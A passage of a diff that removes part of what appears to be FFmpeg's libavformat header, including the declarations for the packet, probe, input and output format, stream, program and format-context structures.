the work is performed, preferably - in ISO 639-2 format. Multiple languages can be specified by - separating them with commas. - performer -- artist who performed the work, if different from artist. - E.g for "Also sprach Zarathustra", artist would be "Richard - Strauss" and performer "London Philharmonic Orchestra". - publisher -- name of the label/publisher. - service_name -- name of the service in broadcasting (channel name). - service_provider -- name of the service provider in broadcasting. - title -- name of the work. - track -- number of this work in the set, can be in form current/total. - variant_bitrate -- the total bitrate of the bitrate variant that the current stream is part of - @endverbatim - * - * Look in the examples section for an application example how to use the Metadata API. - * - * @} - */ - -/* packet functions */ - - -/** - * Allocate and read the payload of a packet and initialize its - * fields with default values. - * - * @param s associated IO context - * @param pkt packet - * @param size desired payload size - * @return >0 (read size) if OK, AVERROR_xxx otherwise - */ -int av_get_packet(AVIOContext *s, AVPacket *pkt, int size); - - -/** - * Read data and append it to the current content of the AVPacket. - * If pkt->size is 0 this is identical to av_get_packet. - * Note that this uses av_grow_packet and thus involves a realloc - * which is inefficient. Thus this function should only be used - * when there is no reasonable way to know (an upper bound of) - * the final size. - * - * @param s associated IO context - * @param pkt packet - * @param size amount of data to read - * @return >0 (read size) if OK, AVERROR_xxx otherwise, previous data - * will not be lost even if an error occurs. - */ -int av_append_packet(AVIOContext *s, AVPacket *pkt, int size); - -#if FF_API_LAVF_FRAC -/*************************************************/ -/* fractional numbers for exact pts handling */ - -/** - * The exact value of the fractional number is: 'val + num / den'. - * num is assumed to be 0 <= num < den. - */ -typedef struct AVFrac { - int64_t val, num, den; -} AVFrac; -#endif - -/*************************************************/ -/* input/output formats */ - -struct AVCodecTag; - -/** - * This structure contains the data a format has to probe a file. - */ -typedef struct AVProbeData { - const char *filename; - unsigned char *buf; /**< Buffer must have AVPROBE_PADDING_SIZE of extra allocated bytes filled with zero. */ - int buf_size; /**< Size of buf except extra allocated bytes */ - const char *mime_type; /**< mime_type, when known. */ -} AVProbeData; - -#define AVPROBE_SCORE_RETRY (AVPROBE_SCORE_MAX/4) -#define AVPROBE_SCORE_STREAM_RETRY (AVPROBE_SCORE_MAX/4-1) - -#define AVPROBE_SCORE_EXTENSION 50 ///< score for file extension -#define AVPROBE_SCORE_MIME 75 ///< score for file mime type -#define AVPROBE_SCORE_MAX 100 ///< maximum score - -#define AVPROBE_PADDING_SIZE 32 ///< extra allocated bytes at the end of the probe buffer - -/// Demuxer will use avio_open, no opened file should be provided by the caller. -#define AVFMT_NOFILE 0x0001 -#define AVFMT_NEEDNUMBER 0x0002 /**< Needs '%d' in filename. */ -#define AVFMT_SHOW_IDS 0x0008 /**< Show format stream IDs numbers. */ -#if FF_API_LAVF_FMT_RAWPICTURE -#define AVFMT_RAWPICTURE 0x0020 /**< Format wants AVPicture structure for - raw picture data. @deprecated Not used anymore */ -#endif -#define AVFMT_GLOBALHEADER 0x0040 /**< Format wants global header. */ -#define AVFMT_NOTIMESTAMPS 0x0080 /**< Format does not need / have any timestamps. */ -#define AVFMT_GENERIC_INDEX 0x0100 /**< Use generic index building code. */ -#define AVFMT_TS_DISCONT 0x0200 /**< Format allows timestamp discontinuities. Note, muxers always require valid (monotone) timestamps */ -#define AVFMT_VARIABLE_FPS 0x0400 /**< Format allows variable fps. */ -#define AVFMT_NODIMENSIONS 0x0800 /**< Format does not need width/height */ -#define AVFMT_NOSTREAMS 0x1000 /**< Format does not require any streams */ -#define AVFMT_NOBINSEARCH 0x2000 /**< Format does not allow to fall back on binary search via read_timestamp */ -#define AVFMT_NOGENSEARCH 0x4000 /**< Format does not allow to fall back on generic search */ -#define AVFMT_NO_BYTE_SEEK 0x8000 /**< Format does not allow seeking by bytes */ -#define AVFMT_ALLOW_FLUSH 0x10000 /**< Format allows flushing. If not set, the muxer will not receive a NULL packet in the write_packet function. */ -#define AVFMT_TS_NONSTRICT 0x20000 /**< Format does not require strictly - increasing timestamps, but they must - still be monotonic */ -#define AVFMT_TS_NEGATIVE 0x40000 /**< Format allows muxing negative - timestamps. If not set the timestamp - will be shifted in av_write_frame and - av_interleaved_write_frame so they - start from 0. - The user or muxer can override this through - AVFormatContext.avoid_negative_ts - */ - -#define AVFMT_SEEK_TO_PTS 0x4000000 /**< Seeking is based on PTS */ - -/** - * @addtogroup lavf_encoding - * @{ - */ -typedef struct AVOutputFormat { - const char *name; - /** - * Descriptive name for the format, meant to be more human-readable - * than name. You should use the NULL_IF_CONFIG_SMALL() macro - * to define it. - */ - const char *long_name; - const char *mime_type; - const char *extensions; /**< comma-separated filename extensions */ - /* output support */ - enum AVCodecID audio_codec; /**< default audio codec */ - enum AVCodecID video_codec; /**< default video codec */ - enum AVCodecID subtitle_codec; /**< default subtitle codec */ - /** - * can use flags: AVFMT_NOFILE, AVFMT_NEEDNUMBER, - * AVFMT_GLOBALHEADER, AVFMT_NOTIMESTAMPS, AVFMT_VARIABLE_FPS, - * AVFMT_NODIMENSIONS, AVFMT_NOSTREAMS, AVFMT_ALLOW_FLUSH, - * AVFMT_TS_NONSTRICT - */ - int flags; - - /** - * List of supported codec_id-codec_tag pairs, ordered by "better - * choice first". The arrays are all terminated by AV_CODEC_ID_NONE. - */ - const struct AVCodecTag * const *codec_tag; - - - const AVClass *priv_class; ///< AVClass for the private context - - /***************************************************************** - * No fields below this line are part of the public API. They - * may not be used outside of libavformat and can be changed and - * removed at will. - * New public fields should be added right above. - ***************************************************************** - */ - struct AVOutputFormat *next; - /** - * size of private data so that it can be allocated in the wrapper - */ - int priv_data_size; - - int (*write_header)(struct AVFormatContext *); - /** - * Write a packet. If AVFMT_ALLOW_FLUSH is set in flags, - * pkt can be NULL in order to flush data buffered in the muxer. - * When flushing, return 0 if there still is more data to flush, - * or 1 if everything was flushed and there is no more buffered - * data. - */ - int (*write_packet)(struct AVFormatContext *, AVPacket *pkt); - int (*write_trailer)(struct AVFormatContext *); - /** - * Currently only used to set pixel format if not YUV420P. - */ - int (*interleave_packet)(struct AVFormatContext *, AVPacket *out, - AVPacket *in, int flush); - /** - * Test if the given codec can be stored in this container. - * - * @return 1 if the codec is supported, 0 if it is not. - * A negative number if unknown. - * MKTAG('A', 'P', 'I', 'C') if the codec is only supported as AV_DISPOSITION_ATTACHED_PIC - */ - int (*query_codec)(enum AVCodecID id, int std_compliance); - - void (*get_output_timestamp)(struct AVFormatContext *s, int stream, - int64_t *dts, int64_t *wall); - /** - * Allows sending messages from application to device. - */ - int (*control_message)(struct AVFormatContext *s, int type, - void *data, size_t data_size); - - /** - * Write an uncoded AVFrame. - * - * See av_write_uncoded_frame() for details. - * - * The library will free *frame afterwards, but the muxer can prevent it - * by setting the pointer to NULL. - */ - int (*write_uncoded_frame)(struct AVFormatContext *, int stream_index, - AVFrame **frame, unsigned flags); - /** - * Returns device list with it properties. - * @see avdevice_list_devices() for more details. - */ - int (*get_device_list)(struct AVFormatContext *s, struct AVDeviceInfoList *device_list); - /** - * Initialize device capabilities submodule. - * @see avdevice_capabilities_create() for more details. - */ - int (*create_device_capabilities)(struct AVFormatContext *s, struct AVDeviceCapabilitiesQuery *caps); - /** - * Free device capabilities submodule. - * @see avdevice_capabilities_free() for more details. - */ - int (*free_device_capabilities)(struct AVFormatContext *s, struct AVDeviceCapabilitiesQuery *caps); - enum AVCodecID data_codec; /**< default data codec */ - /** - * Initialize format. May allocate data here, and set any AVFormatContext or - * AVStream parameters that need to be set before packets are sent. - * This method must not write output. - * - * Any allocations made here must be freed in deinit(). - */ - int (*init)(struct AVFormatContext *); - /** - * Deinitialize format. If present, this is called whenever the muxer is being - * destroyed, regardless of whether or not the header has been written. - * - * If a trailer is being written, this is called after write_trailer(). - * - * This is called if init() fails as well. - */ - void (*deinit)(struct AVFormatContext *); - /** - * Set up any necessary bitstream filtering and extract any extra data needed - * for the global header. - * Return 0 if more packets from this stream must be checked; 1 if not. - */ - int (*check_bitstream)(struct AVFormatContext *, const AVPacket *pkt); -} AVOutputFormat; -/** - * @} - */ - -/** - * @addtogroup lavf_decoding - * @{ - */ -typedef struct AVInputFormat { - /** - * A comma separated list of short names for the format. New names - * may be appended with a minor bump. - */ - const char *name; - - /** - * Descriptive name for the format, meant to be more human-readable - * than name. You should use the NULL_IF_CONFIG_SMALL() macro - * to define it. - */ - const char *long_name; - - /** - * Can use flags: AVFMT_NOFILE, AVFMT_NEEDNUMBER, AVFMT_SHOW_IDS, - * AVFMT_GENERIC_INDEX, AVFMT_TS_DISCONT, AVFMT_NOBINSEARCH, - * AVFMT_NOGENSEARCH, AVFMT_NO_BYTE_SEEK, AVFMT_SEEK_TO_PTS. - */ - int flags; - - /** - * If extensions are defined, then no probe is done. You should - * usually not use extension format guessing because it is not - * reliable enough - */ - const char *extensions; - - const struct AVCodecTag * const *codec_tag; - - const AVClass *priv_class; ///< AVClass for the private context - - /** - * Comma-separated list of mime types. - * It is used check for matching mime types while probing. - * @see av_probe_input_format2 - */ - const char *mime_type; - - /***************************************************************** - * No fields below this line are part of the public API. They - * may not be used outside of libavformat and can be changed and - * removed at will. - * New public fields should be added right above. - ***************************************************************** - */ - struct AVInputFormat *next; - - /** - * Raw demuxers store their codec ID here. - */ - int raw_codec_id; - - /** - * Size of private data so that it can be allocated in the wrapper. - */ - int priv_data_size; - - /** - * Tell if a given file has a chance of being parsed as this format. - * The buffer provided is guaranteed to be AVPROBE_PADDING_SIZE bytes - * big so you do not have to check for that unless you need more. - */ - int (*read_probe)(AVProbeData *); - - /** - * Read the format header and initialize the AVFormatContext - * structure. Return 0 if OK. 'avformat_new_stream' should be - * called to create new streams. - */ - int (*read_header)(struct AVFormatContext *); - - /** - * Read one packet and put it in 'pkt'. pts and flags are also - * set. 'avformat_new_stream' can be called only if the flag - * AVFMTCTX_NOHEADER is used and only in the calling thread (not in a - * background thread). - * @return 0 on success, < 0 on error. - * When returning an error, pkt must not have been allocated - * or must be freed before returning - */ - int (*read_packet)(struct AVFormatContext *, AVPacket *pkt); - - /** - * Close the stream. The AVFormatContext and AVStreams are not - * freed by this function - */ - int (*read_close)(struct AVFormatContext *); - - /** - * Seek to a given timestamp relative to the frames in - * stream component stream_index. - * @param stream_index Must not be -1. - * @param flags Selects which direction should be preferred if no exact - * match is available. - * @return >= 0 on success (but not necessarily the new offset) - */ - int (*read_seek)(struct AVFormatContext *, - int stream_index, int64_t timestamp, int flags); - - /** - * Get the next timestamp in stream[stream_index].time_base units. - * @return the timestamp or AV_NOPTS_VALUE if an error occurred - */ - int64_t (*read_timestamp)(struct AVFormatContext *s, int stream_index, - int64_t *pos, int64_t pos_limit); - - /** - * Start/resume playing - only meaningful if using a network-based format - * (RTSP). - */ - int (*read_play)(struct AVFormatContext *); - - /** - * Pause playing - only meaningful if using a network-based format - * (RTSP). - */ - int (*read_pause)(struct AVFormatContext *); - - /** - * Seek to timestamp ts. - * Seeking will be done so that the point from which all active streams - * can be presented successfully will be closest to ts and within min/max_ts. - * Active streams are all streams that have AVStream.discard < AVDISCARD_ALL. - */ - int (*read_seek2)(struct AVFormatContext *s, int stream_index, int64_t min_ts, int64_t ts, int64_t max_ts, int flags); - - /** - * Returns device list with it properties. - * @see avdevice_list_devices() for more details. - */ - int (*get_device_list)(struct AVFormatContext *s, struct AVDeviceInfoList *device_list); - - /** - * Initialize device capabilities submodule. - * @see avdevice_capabilities_create() for more details. - */ - int (*create_device_capabilities)(struct AVFormatContext *s, struct AVDeviceCapabilitiesQuery *caps); - - /** - * Free device capabilities submodule. - * @see avdevice_capabilities_free() for more details. - */ - int (*free_device_capabilities)(struct AVFormatContext *s, struct AVDeviceCapabilitiesQuery *caps); -} AVInputFormat; -/** - * @} - */ - -enum AVStreamParseType { - AVSTREAM_PARSE_NONE, - AVSTREAM_PARSE_FULL, /**< full parsing and repack */ - AVSTREAM_PARSE_HEADERS, /**< Only parse headers, do not repack. */ - AVSTREAM_PARSE_TIMESTAMPS, /**< full parsing and interpolation of timestamps for frames not starting on a packet boundary */ - AVSTREAM_PARSE_FULL_ONCE, /**< full parsing and repack of the first frame only, only implemented for H.264 currently */ - AVSTREAM_PARSE_FULL_RAW=MKTAG(0,'R','A','W'), /**< full parsing and repack with timestamp and position generation by parser for raw - this assumes that each packet in the file contains no demuxer level headers and - just codec level data, otherwise position generation would fail */ -}; - -typedef struct AVIndexEntry { - int64_t pos; - int64_t timestamp; /**< - * Timestamp in AVStream.time_base units, preferably the time from which on correctly decoded frames are available - * when seeking to this entry. That means preferable PTS on keyframe based formats. - * But demuxers can choose to store a different timestamp, if it is more convenient for the implementation or nothing better - * is known - */ -#define AVINDEX_KEYFRAME 0x0001 - int flags:2; - int size:30; //Yeah, trying to keep the size of this small to reduce memory requirements (it is 24 vs. 32 bytes due to possible 8-byte alignment). - int min_distance; /**< Minimum distance between this and the previous keyframe, used to avoid unneeded searching. */ -} AVIndexEntry; - -#define AV_DISPOSITION_DEFAULT 0x0001 -#define AV_DISPOSITION_DUB 0x0002 -#define AV_DISPOSITION_ORIGINAL 0x0004 -#define AV_DISPOSITION_COMMENT 0x0008 -#define AV_DISPOSITION_LYRICS 0x0010 -#define AV_DISPOSITION_KARAOKE 0x0020 - -/** - * Track should be used during playback by default. - * Useful for subtitle track that should be displayed - * even when user did not explicitly ask for subtitles. - */ -#define AV_DISPOSITION_FORCED 0x0040 -#define AV_DISPOSITION_HEARING_IMPAIRED 0x0080 /**< stream for hearing impaired audiences */ -#define AV_DISPOSITION_VISUAL_IMPAIRED 0x0100 /**< stream for visual impaired audiences */ -#define AV_DISPOSITION_CLEAN_EFFECTS 0x0200 /**< stream without voice */ -/** - * The stream is stored in the file as an attached picture/"cover art" (e.g. - * APIC frame in ID3v2). The single packet associated with it will be returned - * among the first few packets read from the file unless seeking takes place. - * It can also be accessed at any time in AVStream.attached_pic. - */ -#define AV_DISPOSITION_ATTACHED_PIC 0x0400 - -typedef struct AVStreamInternal AVStreamInternal; - -/** - * To specify text track kind (different from subtitles default). - */ -#define AV_DISPOSITION_CAPTIONS 0x10000 -#define AV_DISPOSITION_DESCRIPTIONS 0x20000 -#define AV_DISPOSITION_METADATA 0x40000 - -/** - * Options for behavior on timestamp wrap detection. - */ -#define AV_PTS_WRAP_IGNORE 0 ///< ignore the wrap -#define AV_PTS_WRAP_ADD_OFFSET 1 ///< add the format specific offset on wrap detection -#define AV_PTS_WRAP_SUB_OFFSET -1 ///< subtract the format specific offset on wrap detection - -/** - * Stream structure. - * New fields can be added to the end with minor version bumps. - * Removal, reordering and changes to existing fields require a major - * version bump. - * sizeof(AVStream) must not be used outside libav*. - */ -typedef struct AVStream { - int index; /**< stream index in AVFormatContext */ - /** - * Format-specific stream ID. - * decoding: set by libavformat - * encoding: set by the user, replaced by libavformat if left unset - */ - int id; - /** - * Codec context associated with this stream. Allocated and freed by - * libavformat. - * - * - decoding: The demuxer exports codec information stored in the headers - * here. - * - encoding: The user sets codec information, the muxer writes it to the - * output. Mandatory fields as specified in AVCodecContext - * documentation must be set even if this AVCodecContext is - * not actually used for encoding. - */ - AVCodecContext *codec; - void *priv_data; - -#if FF_API_LAVF_FRAC - /** - * @deprecated this field is unused - */ - attribute_deprecated - struct AVFrac pts; -#endif - - /** - * This is the fundamental unit of time (in seconds) in terms - * of which frame timestamps are represented. - * - * decoding: set by libavformat - * encoding: May be set by the caller before avformat_write_header() to - * provide a hint to the muxer about the desired timebase. In - * avformat_write_header(), the muxer will overwrite this field - * with the timebase that will actually be used for the timestamps - * written into the file (which may or may not be related to the - * user-provided one, depending on the format). - */ - AVRational time_base; - - /** - * Decoding: pts of the first frame of the stream in presentation order, in stream time base. - * Only set this if you are absolutely 100% sure that the value you set - * it to really is the pts of the first frame. - * This may be undefined (AV_NOPTS_VALUE). - * @note The ASF header does NOT contain a correct start_time the ASF - * demuxer must NOT set this. - */ - int64_t start_time; - - /** - * Decoding: duration of the stream, in stream time base. - * If a source file does not specify a duration, but does specify - * a bitrate, this value will be estimated from bitrate and file size. - */ - int64_t duration; - - int64_t nb_frames; ///< number of frames in this stream if known or 0 - - int disposition; /**< AV_DISPOSITION_* bit field */ - - enum AVDiscard discard; ///< Selects which packets can be discarded at will and do not need to be demuxed. - - /** - * sample aspect ratio (0 if unknown) - * - encoding: Set by user. - * - decoding: Set by libavformat. - */ - AVRational sample_aspect_ratio; - - AVDictionary *metadata; - - /** - * Average framerate - * - * - demuxing: May be set by libavformat when creating the stream or in - * avformat_find_stream_info(). - * - muxing: May be set by the caller before avformat_write_header(). - */ - AVRational avg_frame_rate; - - /** - * For streams with AV_DISPOSITION_ATTACHED_PIC disposition, this packet - * will contain the attached picture. - * - * decoding: set by libavformat, must not be modified by the caller. - * encoding: unused - */ - AVPacket attached_pic; - - /** - * An array of side data that applies to the whole stream (i.e. the - * container does not allow it to change between packets). - * - * There may be no overlap between the side data in this array and side data - * in the packets. I.e. a given side data is either exported by the muxer - * (demuxing) / set by the caller (muxing) in this array, then it never - * appears in the packets, or the side data is exported / sent through - * the packets (always in the first packet where the value becomes known or - * changes), then it does not appear in this array. - * - * - demuxing: Set by libavformat when the stream is created. - * - muxing: May be set by the caller before avformat_write_header(). - * - * Freed by libavformat in avformat_free_context(). - * - * @see av_format_inject_global_side_data() - */ - AVPacketSideData *side_data; - /** - * The number of elements in the AVStream.side_data array. - */ - int nb_side_data; - - /** - * Flags for the user to detect events happening on the stream. Flags must - * be cleared by the user once the event has been handled. - * A combination of AVSTREAM_EVENT_FLAG_*. - */ - int event_flags; -#define AVSTREAM_EVENT_FLAG_METADATA_UPDATED 0x0001 ///< The call resulted in updated metadata. - - /***************************************************************** - * All fields below this line are not part of the public API. They - * may not be used outside of libavformat and can be changed and - * removed at will. - * New public fields should be added right above. - ***************************************************************** - */ - - /** - * Stream information used internally by av_find_stream_info() - */ -#define MAX_STD_TIMEBASES (30*12+30+3+6) - struct { - int64_t last_dts; - int64_t duration_gcd; - int duration_count; - int64_t rfps_duration_sum; - double (*duration_error)[2][MAX_STD_TIMEBASES]; - int64_t codec_info_duration; - int64_t codec_info_duration_fields; - - /** - * 0 -> decoder has not been searched for yet. - * >0 -> decoder found - * <0 -> decoder with codec_id == -found_decoder has not been found - */ - int found_decoder; - - int64_t last_duration; - - /** - * Those are used for average framerate estimation. - */ - int64_t fps_first_dts; - int fps_first_dts_idx; - int64_t fps_last_dts; - int fps_last_dts_idx; - - } *info; - - int pts_wrap_bits; /**< number of bits in pts (used for wrapping control) */ - - // Timestamp generation support: - /** - * Timestamp corresponding to the last dts sync point. - * - * Initialized when AVCodecParserContext.dts_sync_point >= 0 and - * a DTS is received from the underlying container. Otherwise set to - * AV_NOPTS_VALUE by default. - */ - int64_t first_dts; - int64_t cur_dts; - int64_t last_IP_pts; - int last_IP_duration; - - /** - * Number of packets to buffer for codec probing - */ - int probe_packets; - - /** - * Number of frames that have been demuxed during av_find_stream_info() - */ - int codec_info_nb_frames; - - /* av_read_frame() support */ - enum AVStreamParseType need_parsing; - struct AVCodecParserContext *parser; - - /** - * last packet in packet_buffer for this stream when muxing. - */ - struct AVPacketList *last_in_packet_buffer; - AVProbeData probe_data; -#define MAX_REORDER_DELAY 16 - int64_t pts_buffer[MAX_REORDER_DELAY+1]; - - AVIndexEntry *index_entries; /**< Only used if the format does not - support seeking natively. */ - int nb_index_entries; - unsigned int index_entries_allocated_size; - - /** - * Real base framerate of the stream. - * This is the lowest framerate with which all timestamps can be - * represented accurately (it is the least common multiple of all - * framerates in the stream). Note, this value is just a guess! - * For example, if the time base is 1/90000 and all frames have either - * approximately 3600 or 1800 timer ticks, then r_frame_rate will be 50/1. - * - * Code outside avformat should access this field using: - * av_stream_get/set_r_frame_rate(stream) - */ - AVRational r_frame_rate; - - /** - * Stream Identifier - * This is the MPEG-TS stream identifier +1 - * 0 means unknown - */ - int stream_identifier; - - int64_t interleaver_chunk_size; - int64_t interleaver_chunk_duration; - - /** - * stream probing state - * -1 -> probing finished - * 0 -> no probing requested - * rest -> perform probing with request_probe being the minimum score to accept. - * NOT PART OF PUBLIC API - */ - int request_probe; - /** - * Indicates that everything up to the next keyframe - * should be discarded. - */ - int skip_to_keyframe; - - /** - * Number of samples to skip at the start of the frame decoded from the next packet. - */ - int skip_samples; - - /** - * If not 0, the number of samples that should be skipped from the start of - * the stream (the samples are removed from packets with pts==0, which also - * assumes negative timestamps do not happen). - * Intended for use with formats such as mp3 with ad-hoc gapless audio - * support. - */ - int64_t start_skip_samples; - - /** - * If not 0, the first audio sample that should be discarded from the stream. - * This is broken by design (needs global sample count), but can't be - * avoided for broken by design formats such as mp3 with ad-hoc gapless - * audio support. - */ - int64_t first_discard_sample; - - /** - * The sample after last sample that is intended to be discarded after - * first_discard_sample. Works on frame boundaries only. Used to prevent - * early EOF if the gapless info is broken (considered concatenated mp3s). - */ - int64_t last_discard_sample; - - /** - * Number of internally decoded frames, used internally in libavformat, do not access - * its lifetime differs from info which is why it is not in that structure. - */ - int nb_decoded_frames; - - /** - * Timestamp offset added to timestamps before muxing - * NOT PART OF PUBLIC API - */ - int64_t mux_ts_offset; - - /** - * Internal data to check for wrapping of the time stamp - */ - int64_t pts_wrap_reference; - - /** - * Options for behavior, when a wrap is detected. - * - * Defined by AV_PTS_WRAP_ values. - * - * If correction is enabled, there are two possibilities: - * If the first time stamp is near the wrap point, the wrap offset - * will be subtracted, which will create negative time stamps. - * Otherwise the offset will be added. - */ - int pts_wrap_behavior; - - /** - * Internal data to prevent doing update_initial_durations() twice - */ - int update_initial_durations_done; - - /** - * Internal data to generate dts from pts - */ - int64_t pts_reorder_error[MAX_REORDER_DELAY+1]; - uint8_t pts_reorder_error_count[MAX_REORDER_DELAY+1]; - - /** - * Internal data to analyze DTS and detect faulty mpeg streams - */ - int64_t last_dts_for_order_check; - uint8_t dts_ordered; - uint8_t dts_misordered; - - /** - * Internal data to inject global side data - */ - int inject_global_side_data; - - /** - * String containing paris of key and values describing recommended encoder configuration. - * Paris are separated by ','. - * Keys are separated from values by '='. - */ - char *recommended_encoder_configuration; - - /** - * display aspect ratio (0 if unknown) - * - encoding: unused - * - decoding: Set by libavformat to calculate sample_aspect_ratio internally - */ - AVRational display_aspect_ratio; - - struct FFFrac *priv_pts; - - /** - * An opaque field for libavformat internal usage. - * Must not be accessed in any way by callers. - */ - AVStreamInternal *internal; -} AVStream; - -AVRational av_stream_get_r_frame_rate(const AVStream *s); -void av_stream_set_r_frame_rate(AVStream *s, AVRational r); -struct AVCodecParserContext *av_stream_get_parser(const AVStream *s); -char* av_stream_get_recommended_encoder_configuration(const AVStream *s); -void av_stream_set_recommended_encoder_configuration(AVStream *s, char *configuration); - -/** - * Returns the pts of the last muxed packet + its duration - * - * the retuned value is undefined when used with a demuxer. - */ -int64_t av_stream_get_end_pts(const AVStream *st); - -#define AV_PROGRAM_RUNNING 1 - -/** - * New fields can be added to the end with minor version bumps. - * Removal, reordering and changes to existing fields require a major - * version bump. - * sizeof(AVProgram) must not be used outside libav*. - */ -typedef struct AVProgram { - int id; - int flags; - enum AVDiscard discard; ///< selects which program to discard and which to feed to the caller - unsigned int *stream_index; - unsigned int nb_stream_indexes; - AVDictionary *metadata; - - int program_num; - int pmt_pid; - int pcr_pid; - - /***************************************************************** - * All fields below this line are not part of the public API. They - * may not be used outside of libavformat and can be changed and - * removed at will. - * New public fields should be added right above. - ***************************************************************** - */ - int64_t start_time; - int64_t end_time; - - int64_t pts_wrap_reference; ///< reference dts for wrap detection - int pts_wrap_behavior; ///< behavior on wrap detection -} AVProgram; - -#define AVFMTCTX_NOHEADER 0x0001 /**< signal that no header is present - (streams are added dynamically) */ - -typedef struct AVChapter { - int id; ///< unique ID to identify the chapter - AVRational time_base; ///< time base in which the start/end timestamps are specified - int64_t start, end; ///< chapter start/end time in time_base units - AVDictionary *metadata; -} AVChapter; - - -/** - * Callback used by devices to communicate with application. - */ -typedef int (*av_format_control_message)(struct AVFormatContext *s, int type, - void *data, size_t data_size); - -typedef int (*AVOpenCallback)(struct AVFormatContext *s, AVIOContext **pb, const char *url, int flags, - const AVIOInterruptCB *int_cb, AVDictionary **options); - -/** - * The duration of a video can be estimated through various ways, and this enum can be used - * to know how the duration was estimated. - */ -enum AVDurationEstimationMethod { - AVFMT_DURATION_FROM_PTS, ///< Duration accurately estimated from PTSes - AVFMT_DURATION_FROM_STREAM, ///< Duration estimated from a stream with a known duration - AVFMT_DURATION_FROM_BITRATE ///< Duration estimated from bitrate (less accurate) -}; - -typedef struct AVFormatInternal AVFormatInternal; - -/** - * Format I/O context. - * New fields can be added to the end with minor version bumps. - * Removal, reordering and changes to existing fields require a major - * version bump. - * sizeof(AVFormatContext) must not be used outside libav*, use - * avformat_alloc_context() to create an AVFormatContext. - */ -typedef struct AVFormatContext { - /** - * A class for logging and @ref avoptions. Set by avformat_alloc_context(). - * Exports (de)muxer private options if they exist. - */ - const AVClass *av_class; - - /** - * The input container format. - * - * Demuxing only, set by avformat_open_input(). - */ - struct AVInputFormat *iformat; - - /** - * The output container format. - * - * Muxing only, must be set by the caller before avformat_write_header(). - */ - struct AVOutputFormat *oformat; - - /** - * Format private data. This is an AVOptions-enabled struct - * if and only if iformat/oformat.priv_class is not NULL. - * - * - muxing: set by avformat_write_header() - * - demuxing: set by avformat_open_input() - */ - void *priv_data; - - /** - * I/O context. - * - * - demuxing: either set by the user before avformat_open_input() (then - * the user must close it manually) or set by avformat_open_input(). - * - muxing: set by the user before avformat_write_header(). The caller must - * take care of closing / freeing the IO context. - * - * Do NOT set this field if AVFMT_NOFILE flag is set in - * iformat/oformat.flags. In such a case, the (de)muxer will handle - * I/O in some other way and this field will be NULL. - */ - AVIOContext *pb; - - /* stream info */ - /** - * Flags signalling stream properties. A combination of AVFMTCTX_*. - * Set by libavformat. - */ - int ctx_flags; - - /** - * Number of elements in AVFormatContext.streams. - * - * Set by avformat_new_stream(), must not be modified by any other code. - */ - unsigned int nb_streams; - /** - * A list of all streams in the file. New streams are created with - * avformat_new_stream(). - * - * - demuxing: streams are created by libavformat in avformat_open_input(). - * If AVFMTCTX_NOHEADER is set in ctx_flags, then new streams may also - * appear in av_read_frame(). - * - muxing: streams are created by the user before avformat_write_header(). - * - * Freed by libavformat in avformat_free_context(). - */ - AVStream **streams; - - /** - * input or output filename - * - * - demuxing: set by avformat_open_input() - * - muxing: may be set by the caller before avformat_write_header() - */ - char filename[1024]; - - /** - * Position of the first frame of the component, in - * AV_TIME_BASE fractional seconds. NEVER set this value directly: - * It is deduced from the AVStream values. - * - * Demuxing only, set by libavformat. - */ - int64_t start_time; - - /** - * Duration of the stream, in AV_TIME_BASE fractional - * seconds. Only set this value if you know none of the individual stream - * durations and also do not set any of them. This is deduced from the - * AVStream values if not set. - * - * Demuxing only, set by libavformat. - */ - int64_t duration; - - /** - * Total stream bitrate in bit/s, 0 if not - * available. Never set it directly if the file_size and the - * duration are known as FFmpeg can compute it automatically. - */ - int64_t bit_rate; - - unsigned int packet_size; - int max_delay; - - /** - * Flags modifying the (de)muxer behaviour. A combination of AVFMT_FLAG_*. - * Set by the user before avformat_open_input() / avformat_write_header(). - */ - int flags; -#define AVFMT_FLAG_GENPTS 0x0001 ///< Generate missing pts even if it requires parsing future frames. -#define AVFMT_FLAG_IGNIDX 0x0002 ///< Ignore index. -#define AVFMT_FLAG_NONBLOCK 0x0004 ///< Do not block when reading packets from input. -#define AVFMT_FLAG_IGNDTS 0x0008 ///< Ignore DTS on frames that contain both DTS & PTS -#define AVFMT_FLAG_NOFILLIN 0x0010 ///< Do not infer any values from other values, just return what is stored in the container -#define AVFMT_FLAG_NOPARSE 0x0020 ///< Do not use AVParsers, you also must set AVFMT_FLAG_NOFILLIN as the fillin code works on frames and no parsing -> no frames. Also seeking to frames can not work if parsing to find frame boundaries has been disabled -#define AVFMT_FLAG_NOBUFFER 0x0040 ///< Do not buffer frames when possible -#define AVFMT_FLAG_CUSTOM_IO 0x0080 ///< The caller has supplied a custom AVIOContext, don't avio_close() it. -#define AVFMT_FLAG_DISCARD_CORRUPT 0x0100 ///< Discard frames marked corrupted -#define AVFMT_FLAG_FLUSH_PACKETS 0x0200 ///< Flush the AVIOContext every packet. -/** - * When muxing, try to avoid writing any random/volatile data to the output. - * This includes any random IDs, real-time timestamps/dates, muxer version, etc. - * - * This flag is mainly intended for testing. - */ -#define AVFMT_FLAG_BITEXACT 0x0400 -#define AVFMT_FLAG_MP4A_LATM 0x8000 ///< Enable RTP MP4A-LATM payload -#define AVFMT_FLAG_SORT_DTS 0x10000 ///< try to interleave outputted packets by dts (using this flag can slow demuxing down) -#define AVFMT_FLAG_PRIV_OPT 0x20000 ///< Enable use of private options by delaying codec open (this could be made default once all code is converted) -#define AVFMT_FLAG_KEEP_SIDE_DATA 0x40000 ///< Don't merge side data but keep it separate. -#define AVFMT_FLAG_FAST_SEEK 0x80000 ///< Enable fast, but inaccurate seeks for some formats - - /** - * Maximum size of the data read from input for determining - * the input container format. - * Demuxing only, set by the caller before avformat_open_input(). - */ - int64_t probesize; - - /** - * Maximum duration (in AV_TIME_BASE units) of the data read - * from input in avformat_find_stream_info(). - * Demuxing only, set by the caller before avformat_find_stream_info(). - * Can be set to 0 to let avformat choose using a heuristic. - */ - int64_t max_analyze_duration; - - const uint8_t *key; - int keylen; - - unsigned int nb_programs; - AVProgram **programs; - - /** - * Forced video codec_id. - * Demuxing: Set by user. - */ - enum AVCodecID video_codec_id; - - /** - * Forced audio codec_id. - * Demuxing: Set by user. - */ - enum AVCodecID audio_codec_id; - - /** - * Forced subtitle codec_id. - * Demuxing: Set by user. - */ - enum AVCodecID subtitle_codec_id; - - /** - * Maximum amount of memory in bytes to use for the index of each stream. - * If the index exceeds this size, entries will be discarded as - * needed to maintain a smaller size. This can lead to slower or less - * accurate seeking (depends on demuxer). - * Demuxers for which a full in-memory index is mandatory will ignore - * this. - * - muxing: unused - * - demuxing: set by user - */ - unsigned int 